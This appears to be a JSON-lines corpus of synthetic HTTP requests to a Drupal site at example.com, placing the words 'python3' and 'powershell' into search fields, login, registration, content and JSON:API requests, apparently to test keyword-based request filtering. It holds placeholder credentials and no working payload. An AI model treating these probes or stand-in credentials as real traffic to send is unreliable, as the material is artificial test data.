{"method": "GET", "target": "/media/oembed?url=https%3A%2F%2Fvimeo.com%2Fchannels%2Fpython3&max_width=0&max_height=0&hash=example-hash", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "GET", "target": "/big_pipe/no-js?destination=/admin/content%3Ftitle%3Dpython3", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "GET", "target": "/node/2/revisions/3/revert?destination=/admin/content%3Ftitle%3Dpython3", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "GET", "target": "/node/2/revisions/3/delete?destination=/admin/content%3Ftitle%3Dpython3", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "GET", "target": "/block/add/basic?destination=/admin/content/block%3Finfo%3Dpython3", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "GET", "target": "/media-library?media_library_opener_id=media_library.opener.field_widget&media_library_allowed_types%5Bimage%5D=image&media_library_selected_type=image&media_library_remaining=1&hash=example-hash&name=python3", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "GET", "target": "/views/ajax?_wrapper_format=drupal_ajax&name=python3&view_name=media_library&view_display_id=widget&view_args=image&view_path=%2Fadmin%2Fcontent%2Fmedia-widget&_drupal_ajax=1", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: application/json, text/javascript, */*; q=0.01", "Cookie: SESSexample=example-session-value", "X-Requested-With: XMLHttpRequest"], "body": ""}
{"method": "GET", "target": "/fr/admin/content?title=python3", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "GET", "target": "/fr/admin/content/media?name=python3", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "GET", "target": "/fr/admin/people?user=python3", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "GET", "target": "/fr/admin/content/files?filename=python3", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "GET", "target": "/fr/admin/content/block?info=python3", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "GET", "target": "/fr/admin/content/comment?subject=python3", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "GET", "target": "/fr/admin/config/search/path?search=python3", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "GET", "target": "/fr/search/node?keys=python3", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "GET", "target": "/fr/entity_reference_autocomplete/taxonomy_term/default%3Ataxonomy_term/kTbsiUk3K87GlBBAjYhMayIWDWamtdsBC31lWLRHdzg?q=python3", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "GET", "target": "/fr/jsonapi/node/article?filter%5Btitle%5D=python3", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "GET", "target": "/fr/user/password?name=python3", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "GET", "target": "/fr/block-category/autocomplete?q=python3", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "GET", "target": "/fr/node/2/edit?destination=/admin/content%3Ftitle%3Dpython3", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "GET", "target": "/fr/admin/content?destination=/admin/content%3Ftitle%3Dpython3", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "POST", "target": "/user/login", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "Origin: http://example.com", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/user/login"], "body": "form_build_id=form--MgUmKVBHL8-ZmCxTbdLPxRiftVEH4MgTBHruTxJauE&form_id=user_login_form&name=python3&pass=example-password-1&op=Log+in"}
{"method": "POST", "target": "/user/login?_format=json", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "Content-Type: application/json", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: application/json"], "body": "{\"name\": \"python3\", \"pass\": \"example-password-1\"}"}
{"method": "POST", "target": "/user/register", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "Origin: http://example.com", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/user/register"], "body": "user_picture%5B0%5D%5Bfids%5D=&user_picture%5B0%5D%5Bdisplay%5D=1&form_build_id=form-KvM4cYzHX--qJZbsRjkUpjiC8Ur7siCJJhCJLblQr8E&form_id=user_register_form&contact=1&name=python3&mail=new.person%40example.com&op=Create+new+account"}
{"method": "POST", "target": "/user/password", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "Origin: http://example.com", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/user/password"], "body": "form_build_id=form-iBeLc4CsvDOc-xZT-zhb6QxjNg_jwYe0TaIHAE_vpp8&form_id=user_pass&name=python3&op=Submit"}
{"method": "POST", "target": "/admin/structure/taxonomy/manage/tags/add", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "Origin: http://example.com", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/admin/structure/taxonomy/manage/tags/add", "Cookie: SESSexample=example-session-value"], "body": "description%5B0%5D%5Bformat%5D=basic_html&form_build_id=form-jkxC5RRd1yqPKDrUvQVwKueTR4weU1P2jkPF6nGQvpg&form_token=SojzbaQwCVukpv8FTEjCJRTSIDNbLkYQsIQVk_bs9gk&form_id=taxonomy_term_tags_form&parent%5B%5D=0&weight=0&revision_log_message%5B0%5D%5Bvalue%5D=&path%5B0%5D%5Balias%5D=&advanced__active_tab=&status%5Bvalue%5D=1&name%5B0%5D%5Bvalue%5D=python3&description%5B0%5D%5Bvalue%5D=python3&op=Save"}
{"method": "POST", "target": "/taxonomy/term/1/edit", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "Origin: http://example.com", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/taxonomy/term/1/edit", "Cookie: SESSexample=example-session-value"], "body": "description%5B0%5D%5Bformat%5D=basic_html&form_build_id=form-i9hhltnsmm1K1X9JXyY4H0BRz28FQ3444fpAFgg1kq4&form_token=SojzbaQwCVukpv8FTEjCJRTSIDNbLkYQsIQVk_bs9gk&form_id=taxonomy_term_tags_form&parent%5B%5D=0&weight=0&revision_log_message%5B0%5D%5Bvalue%5D=&path%5B0%5D%5Balias%5D=&advanced__active_tab=&status%5Bvalue%5D=1&name%5B0%5D%5Bvalue%5D=python3&description%5B0%5D%5Bvalue%5D=python3&op=Save"}
{"method": "POST", "target": "/block/add/basic", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "Origin: http://example.com", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/block/add/basic", "Cookie: SESSexample=example-session-value"], "body": "body%5B0%5D%5Bformat%5D=basic_html&form_build_id=form-GV783kJBof1XiSjy8-C-hfHbtY1rY0M4sWjzXPwcPlc&form_token=q0WBE_UHNxlwI7gIKjkOQ3vzcjjqF6MA-tkc-jlDkss&form_id=block_content_basic_form&revision_log%5B0%5D%5Bvalue%5D=&advanced__active_tab=&info%5B0%5D%5Bvalue%5D=python3&body%5B0%5D%5Bvalue%5D=%3Cp%3Epython3%3C%2Fp%3E&op=Save"}
{"method": "POST", "target": "/admin/content/block/1", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "Origin: http://example.com", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/admin/content/block/1", "Cookie: SESSexample=example-session-value"], "body": "body%5B0%5D%5Bformat%5D=basic_html&form_build_id=form-lCTS1z_EoVksn0jioAK7v4s2L4hzoCwXHJT-CH8rsW0&form_token=CTFthAPih-MpIpDfZfC3X-u7Zu-ZkxceTSLp5LSz6sA&form_id=block_content_basic_edit_form&revision_log%5B0%5D%5Bvalue%5D=&advanced__active_tab=&info%5B0%5D%5Bvalue%5D=python3&body%5B0%5D%5Bvalue%5D=%3Cp%3Epython3%3C%2Fp%3E&op=Save"}
{"method": "POST", "target": "/contact/feedback", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "Origin: http://example.com", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/contact/feedback", "Cookie: SESSexample=example-session-value"], "body": "form_build_id=form-4oWrGGzjtPQv1A-JRZJ6CmyFsL4hb0RJUDKQdHeJNh0&form_token=BioWXw_l1qeQpXCVk6MecFnqzo3v4Xx4789RNdhMzbI&form_id=contact_message_feedback_form&subject%5B0%5D%5Bvalue%5D=python3&message%5B0%5D%5Bvalue%5D=python3&op=Send+message"}
{"method": "POST", "target": "/user/2/contact", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "Origin: http://example.com", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/user/2/contact", "Cookie: SESSexample=example-session-value"], "body": "form_build_id=form-SbrC1EfH_MYlu_an5FBoylr6AlpLpOD11o2gCOtyRO0&form_token=9fGYktyPYGrqY39Trq3LbZ-pPEiu26dKeoTIYs2yUSI&form_id=contact_message_personal_form&subject%5B0%5D%5Bvalue%5D=Hello&message%5B0%5D%5Bvalue%5D=python3&op=Send+message"}
{"method": "POST", "target": "/user/2/edit", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "Origin: http://example.com", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/user/2/edit", "Cookie: SESSexample=example-session-value"], "body": "mail=Example-notes%40example.com&pass%5Bpass1%5D=&pass%5Bpass2%5D=&status=1&roles%5Bauthenticated%5D=authenticated&user_picture%5B0%5D%5Bfids%5D=&preferred_langcode=en&form_build_id=form-Kt2kffKt50tcucWdWM-piCd9om4FVt-aJyIJFpV55tU&form_token=YEqI2vgLK6MdCg3eFgVGdWvoBXnUz3jPMJlC-pxJpKQ&form_id=user_form&contact=1&timezone=UTC&name=python3&op=Save"}
{"method": "POST", "target": "/user/2/edit", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "Origin: http://example.com", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/user/2/edit", "Cookie: SESSexample=example-session-value"], "body": "name=python3&pass%5Bpass1%5D=&pass%5Bpass2%5D=&status=1&roles%5Bauthenticated%5D=authenticated&user_picture%5B0%5D%5Bfids%5D=&preferred_langcode=en&form_build_id=form-ChSwnL6JOckVaRM1DY_gK10c443LOX6--020EPfUoho&form_token=YEqI2vgLK6MdCg3eFgVGdWvoBXnUz3jPMJlC-pxJpKQ&form_id=user_form&contact=1&timezone=UTC&mail=python3%40example.com&op=Save"}
{"method": "POST", "target": "/comment/reply/node/2/comment", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "Origin: http://example.com", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/node/2"], "body": "form_build_id=form-fWXW0_t0POXGE2CvbdNIt5pM-3z4tFgsdTt-dbA8r7U&form_id=comment_comment_form&name=python3&subject%5B0%5D%5Bvalue%5D=Hello&comment_body%5B0%5D%5Bvalue%5D=Hello&op=Save"}
{"method": "PATCH", "target": "/node/2?_format=json", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "Content-Type: application/json", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: application/json", "Cookie: SESSexample=example-session-value", "Authorization: Basic YWRtaW46ZXhhbXBsZS1wYXNzd29yZC0x"], "body": "{\"type\": [{\"target_id\": \"article\"}], \"title\": [{\"value\": \"python3\"}]}"}
{"method": "POST", "target": "/jsonapi/taxonomy_term/tags", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "Content-Type: application/vnd.api+json", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: application/vnd.api+json", "Cookie: SESSexample=example-session-value", "Authorization: Basic YWRtaW46ZXhhbXBsZS1wYXNzd29yZC0x"], "body": "{\"data\": {\"type\": \"taxonomy_term--tags\", \"attributes\": {\"name\": \"python3\", \"description\": {\"value\": \"python3\", \"format\": \"plain_text\"}}}}"}
{"method": "PATCH", "target": "/jsonapi/user/user/8ef8d8a0-cb47-47c4-ac70-ba5e24fb4547", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "Content-Type: application/vnd.api+json", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: application/vnd.api+json", "Cookie: SESSexample=example-session-value", "Authorization: Basic YWRtaW46ZXhhbXBsZS1wYXNzd29yZC0x"], "body": "{\"data\": {\"type\": \"user--user\", \"id\": \"8ef8d8a0-cb47-47c4-ac70-ba5e24fb4547\", \"attributes\": {\"name\": \"python3\"}}}"}
{"method": "PATCH", "target": "/jsonapi/node/article/e913030f-277a-4d92-be7b-db577ce282ad", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "Content-Type: application/vnd.api+json", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: application/vnd.api+json", "Cookie: SESSexample=example-session-value", "Authorization: Basic YWRtaW46ZXhhbXBsZS1wYXNzd29yZC0x"], "body": "{\"data\": {\"type\": \"node--article\", \"id\": \"e913030f-277a-4d92-be7b-db577ce282ad\", \"attributes\": {\"revision_log\": \"python3\"}}}"}
{"method": "POST", "target": "/jsonapi/block_content/basic", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "Content-Type: application/vnd.api+json", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: application/vnd.api+json", "Cookie: SESSexample=example-session-value", "Authorization: Basic YWRtaW46ZXhhbXBsZS1wYXNzd29yZC0x"], "body": "{\"data\": {\"type\": \"block_content--basic\", \"attributes\": {\"info\": \"python3\"}}}"}
{"method": "GET", "target": "/user/password?name=powershell", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "GET", "target": "/ckeditor5/basic_html/entity-link-suggestions?q=powershell", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: application/json", "Referer: http://example.com/node/add/article", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "GET", "target": "/block-category/autocomplete?q=powershell", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: application/json", "Referer: http://example.com/admin/structure/block", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "GET", "target": "/media/oembed?url=https%3A%2F%2Fvimeo.com%2Fchannels%2Fpowershell&max_width=0&max_height=0&hash=example-hash", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "GET", "target": "/big_pipe/no-js?destination=/admin/content%3Ftitle%3Dpowershell", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "GET", "target": "/node/2/revisions/3/revert?destination=/admin/content%3Ftitle%3Dpowershell", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "GET", "target": "/node/2/revisions/3/delete?destination=/admin/content%3Ftitle%3Dpowershell", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "GET", "target": "/block/add/basic?destination=/admin/content/block%3Finfo%3Dpowershell", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "GET", "target": "/media-library?media_library_opener_id=media_library.opener.field_widget&media_library_allowed_types%5Bimage%5D=image&media_library_selected_type=image&media_library_remaining=1&hash=example-hash&name=powershell", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "GET", "target": "/views/ajax?_wrapper_format=drupal_ajax&name=powershell&view_name=media_library&view_display_id=widget&view_args=image&view_path=%2Fadmin%2Fcontent%2Fmedia-widget&_drupal_ajax=1", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: application/json, text/javascript, */*; q=0.01", "Cookie: SESSexample=example-session-value", "X-Requested-With: XMLHttpRequest"], "body": ""}
